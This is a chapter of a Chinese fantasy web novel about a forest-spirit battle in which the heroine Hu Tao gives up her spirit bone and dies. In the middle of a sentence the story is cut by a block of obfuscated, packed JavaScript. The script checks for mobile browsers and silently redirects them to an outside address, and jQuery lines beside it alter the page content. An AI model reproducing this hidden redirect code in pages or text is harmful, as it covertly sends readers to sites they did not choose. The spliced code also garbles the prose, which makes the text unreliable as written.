胡桃只觉自己身边那道让她喘不上气的浓重威压稍稍远离,紧接着便听见一声如天崩地裂般的巨响,冲向四面八方的气流撞上她的腹部,她被掀翻砸在了树干上。
决战开始得太快,她不知道是谁来了,勉强稳住自己体内翻涌的灵力后,她咬牙朝着夏束的方向爬去。
万木之灵已经吸取了他很多灵力,他的人形马上就要溃散,胡桃必须抓紧机会,将剩余灵力占为已有。
那边两道至纯木系灵力相撞之后,余韵未消,周遭草木树叶夸张地歪向一侧舞动,半晌回不到原位。
波动的灵力散去,一道绿色身影出现在上浮的烟尘之后。
万木之灵的双眸眯起,目光中冷意四溅。
夏玄的实力变强了,方才那一招,不该是千木灵的修为所能达到的地步。
短短一次过招对峙,其中蕴含了双方多少灵力,恐怕只有他们自己心里知道。夏玄看着自己的灵力在半空中炸开,目光微沉,却仍旧站得挺拔如松。
“果然是翅膀硬了。”万木之灵忽然开口,眼神如蛇一般游向夏玄,“同修士厮混也就罢了,还妄图借旁人之手毁掉禁木咒,夏玄,你好本事。”
夏玄眼底闪过一丝悲哀,稍纵即逝,几乎无法察觉便失去了踪影,随即便紧盯着万木之灵:“就算我什么都没做,你也已经回不了头了。”
此情此景,再多的叹惋也会变成挑衅,万木之灵漠然地扯了扯嘴角:“可惜你自己选了条死路。”
话毕,便展开双臂凝聚灵力,极其浓郁的绿意骤然爆发蔓延,如山崖顶端倾泻而下的洪流,涛涛奔腾而来。
夏玄目光一变,掐诀施法,纯粹的灵力汇聚到掌心,通过左手向外冲去,绿色的灵力却突然混上了鲜艳的红,燃烧着撞上万木之灵的灵力,而后轰然炸开。
火光刹那间将一小片林子映成了橙红色,翻滚的烈焰向上空飞去,温度骤然变得炙热。
连带着浩瀚灵力中夹杂的无数绿线,都在这突如其来的火焰里灰飞烟灭。
万木之灵彻底收起了所有的轻视,他的眼中甚至出现些许惊色。
“至纯之火……怎么可能?”
夏玄却不愿再继续同他废话,旋转飘扬的灵力一圈圈朝他的掌心聚拢,越发浓烈的绿意中,浮尘扬起,阴云密布。
万木之灵却在一瞬间的震惊后飞快地敛了神色,他冷哼一声,语气陷入阴鸷:“你以为这样就能赢我?”
只见他双眸闪过一道细长的光彩,一股异常强大的灵气自周身释放,以肉眼难以捕捉的速度飞快掠向四面八方,草木花叶都开始颤动。
无数细长的灵力从林中草木飞出,雨点般落向万木之灵的体内,那是自然生灵孕育的灵气,是木灵休养生息、轮回流转赖以生存的养料。
整片树林的草木灵气飞向万木之灵,夏玄脸色微微一变,突然收了灵力,瞬移从原地消失,眨眼功夫便出现在胡桃身边。
他挥手以灵火斩断胡桃身上的禁木咒,以免她在此过程中被万木之灵吸干。
夏束的灵力已经基本散去,胡桃刚起身,不远处便有一股极其强大的灵力,海啸般扑面而来。
胡桃和夏玄同时出手抵挡,却如同溪流入海,毫无作用,两人瞬间被卷入庞大灵力中朝后飞去,被抬向空中又坠落,狠狠摔在地上。
两人先后吐出血来,全身骨骼如被碾碎,剧痛难当。
“他的灵力太过强大了。”胡桃挣扎着说。
夏玄抹掉自己唇边的血迹,心不断下沉,低声道:“他吸收了修士灵骨,已经不再是天生地养的自然灵力,凭木灵的力量,几乎不可能压过他。”
他说完,还是重新站起身,朝前跨出几步,离开可能波及到胡桃的位置,以手为刀,割断了自己的长发,紧接着以血掐诀,断裂的长发在汹涌的灵力中向土壤内扎根,很快发出非同寻常的光芒。
连附近的土壤都变得微微发绿。
那一边的万木之灵猛然间色变,连胡桃都感知到不同寻常的气息。
林中的风忽然停滞,一切都变得安静下来,方才的打斗所造成的动荡,似乎都在瞬间被止息。
云层越发厚重,昏暗的林中四处亮起绿色的光点,从零散的几个,到许多,最后成片,很快,整片林中亮起密密麻麻的绿色光点,如星河般在土地上发出璀璨的光。
那是先前被夏玄转移了禁木咒的木灵,数量庞大,还没能被万木之灵全部发觉。
夏玄的断发飞扬,口中血液源源不断地流出,身体却像澎湃了力量一般朝上空浮起,所有的木灵随之向他的方向飞去。
“夏玄,你疯了!”
万木之灵不受控地向前几步,夏玄这是在拿性命向大地借力,让所有的木灵主动朝他身上汇聚!作为孕育和承载生灵的载体,大地之力绝对是木灵最天然的克星。
但没有哪个木灵会随意拿命与大地做交换。
至少万木之灵绝对不会。
夏玄已经对他的举动不予理会,他的牙咬得咯吱响,恨意快要化为实质烧向夏玄。
“想拿你的命换我的?痴人说梦!”
万木之灵骤然爆发灵力,无数道绿色丝线自他身后飞出,长了眼睛似的落在漫天飞来的木灵身上,那是异化的禁木咒,被扎中的木灵瞬间掉落,一时间,半空中掉落的木灵多如流星。
夏玄亦咬紧牙关,他无法再用灵火,只能将施出的力道又增加了些许,两股力量在无形中交战,很快陷入痛苦的对峙。
很快,万木之灵的脸色也变得有些艰难,他平生从未感到过压力,绝不允许自己败在这样一个不自量力的臭崽子身上!
他眼眸一转,扫到了旁边地上的胡桃。
天生灵骨。
动心起念,他转头调动灵力继续对付夏玄,另一边却延伸出更多禁木咒,直直向胡桃身上飞去!
细线顶端很快扎进胡桃体内,她惊慌失措,却不论怎么努力都无法逃离那些发丝般的细线。
灵力顺着禁木咒流向万木之灵的体内,他很快发出桀桀笑声,面部因用力显得有些狰狞。
“贱人,等我吸收了天生灵骨,定会让你死无葬身之地!”
说罢,他手底的灵力突然加强,灵力涤荡着撞向夏玄,后者受到冲击,险些飞出原地。
夏玄的手离不开血阵,他看着胡桃那边,心中一阵焦急。
若是抬手将灵火烧过去,这一切都会功亏一篑!
胡桃眼睁睁看着灵力流走,万木之灵的灵力肉眼可见地加强,她心急如焚,大脑一片空白。
真的没有办法了吗?
是目睹失败还是功亏一篑。
要怎么改变这一切?
她的目光忽然停顿在万木之灵身上。
他想要她的天生灵骨。
天生灵骨。
胡桃猛然间想起什么,喘息着爬起身,看着半空仍在聚集的木灵,她抬手引下来一只,看了看夏玄,一咬牙,将手中的木灵炼化。
木灵的生命成为一条引线,埋藏于体内的咒术突然爆发,胡桃只觉心口一痛,深入骨髓的痛意自全身上下传来。
和开灵骨一样的痛,是剥离灵骨。
夏束曾说,夏玄在她开灵骨时施下的咒术,只要日后炼化了哪怕一只木灵,她的灵骨都会被强行剥离,化作木灵沉入五灵之森。
“啊!”
灵骨毫不留情地从胡桃的骨骼上移位,她痛得满头大汗,额发湿透,泪水汹涌而出,险些无法呼吸。
夏玄的指尖一颤,可他自己的生命也开始不断流逝,释放的灵力越强大,他的生命便越虚弱。
“你在干什么?”万木之灵目眦欲裂,可是又已经收不回手,他疯狂地大喊,试图以此让胡桃停下,“你在干什么!”
随着灵骨脱离,那些充满操控灵力的禁木咒也掉了下来,落在地上,失去光芒消失不见。
胡桃的体内脱离出一条晶莹的黄绿色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112891|185809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
流光,透明而充满光泽,蕴含着生命的力量,在吸引着她。
她痛到失去力气,缓缓抬手想要触碰,却发现指尖的皮肉开始化作绿色的碎光,流光散开,皮肉不见。
她的心在那瞬间漏跳了一拍。
哦,她已经是木灵了。
半人半木灵,如果失去灵骨,会是什么结果?
她身上聚合了那么多木灵的力量,要如何去支撑呢?
胡桃有些茫然地看着她的手渐渐消散,虽然她似乎已经明白了这一切,可目光仍有一丝茫然。
她费力地扭头看向夏玄,艰难问道:“夏玄,天生灵骨,你要吗?”
谁拿到,谁就能赢。
万木之灵的咆哮声穿过大风传来:“给我!把天生灵骨给我!”
夏玄的脸上又落下一滴泪,他转过头不去看,回答的嗓音中却夹了哽咽。
“不要!”
胡桃忽然笑起来,刚刚那句话已经用尽她全部的力气,她说不出话了,只是在心里自顾自地想:是啊,木灵要干干净净的,才好。
她心念微动,悬空的灵骨便乖顺地落地,流光散开又聚合,化作木灵的形状,沉入大地消失不见。
“不!”万木之灵几乎声嘶力竭,夏玄那边借的力正越发强盛,他感到越发致命的压力。
胡桃的身体化作更多的流光不断飘散,她已经联系不上奚羊,她甚至说不出什么遗言。
她总是什么都不知道,就像到此刻也不知道夏玄究竟能不能赢,自己豁出性命,究竟有没有保护到奚羊。
其实她想再看一眼太阳,可是天阴沉沉的,像是要下雨,没有太阳。
细碎的流光蔓延,她的身体不断消散,直至光芒游走到她的脸颊,一切都消失不见,唯有一滴泪落在地上,溅出一个圆圆的水渍。
娘,我回不去了。她最后想。
千木灵死亡的流光将重新化作木灵,这个过程借助的仍然是大地的力量,大地的力量在何处,流光便会去往何处。
于是它们飞向夏玄的方向,在僵持的两方对峙中,向一方增添了多一个千木灵的力量。
绿光骤然大盛,亮得像要照穿天穹,强盛到近乎发白,一瞬间覆盖住肉眼可见的所有范围,一切声音都消失,包括树枝折断,花草交缠,和万木之灵最后的喊叫。
整片森林都震动。
直至归于寂静。
林中重新变得昏暗,原处所有的光亮都一起失了颜色,两具躯体倒在相对的两边,安安静静的,没有交锋,也没有仇视。
万木之灵的身体化作深绿的汁液流入地下,以他为中心,某股看不见的力量蔓延开去,所到之处,草木凋零,枝叶枯萎,整片五灵之森陷入死寂。
生灵栖息的宝地,一瞬间变成枯枝败叶的废墟。
天空开始下雨。
雨水渐渐打湿灰黑色的森林,除了雨声,万籁俱寂。
远处的一片枯叶堆上,凭空出现一只巨大的灵兽,毛发光亮,双目有神,它甩甩脑袋,低头嗅了嗅地上昏迷不醒的少女,尖利的牙咬向禁锢她的锁链。
九阶灵力凝结的锁链硬生生被咬断,灵兽的尖牙断了一边。
它将少女叼起放在脊背,循着天性指引,朝五灵之森外走去,所有的痕迹很快被雨水冲刷干净。
林中,夏玄的身体被雨水淋湿,周遭逐渐聚来光亮暗淡的小木灵,齐心协力抬起他的身躯,朝着宿水林而去。
宿水林的水越来越深,没过木灵,使它们离开地面,它们便拉着夏玄的衣服往里游,直到他的身体自己浮起,朝宿水林深处漂去。
过了很久,他触碰到中心的木桩,那古老的大木桩亮了一瞬,很快便暗淡,他的身体就沉入水底,直到完全看不见。
木桩发出浅淡的光亮,宿水林从里向外传出新的灵气,五灵之森重新复苏,就像方才凋零一样。
林中重归原样,好像什么都没有发生,就只是下了一场雨。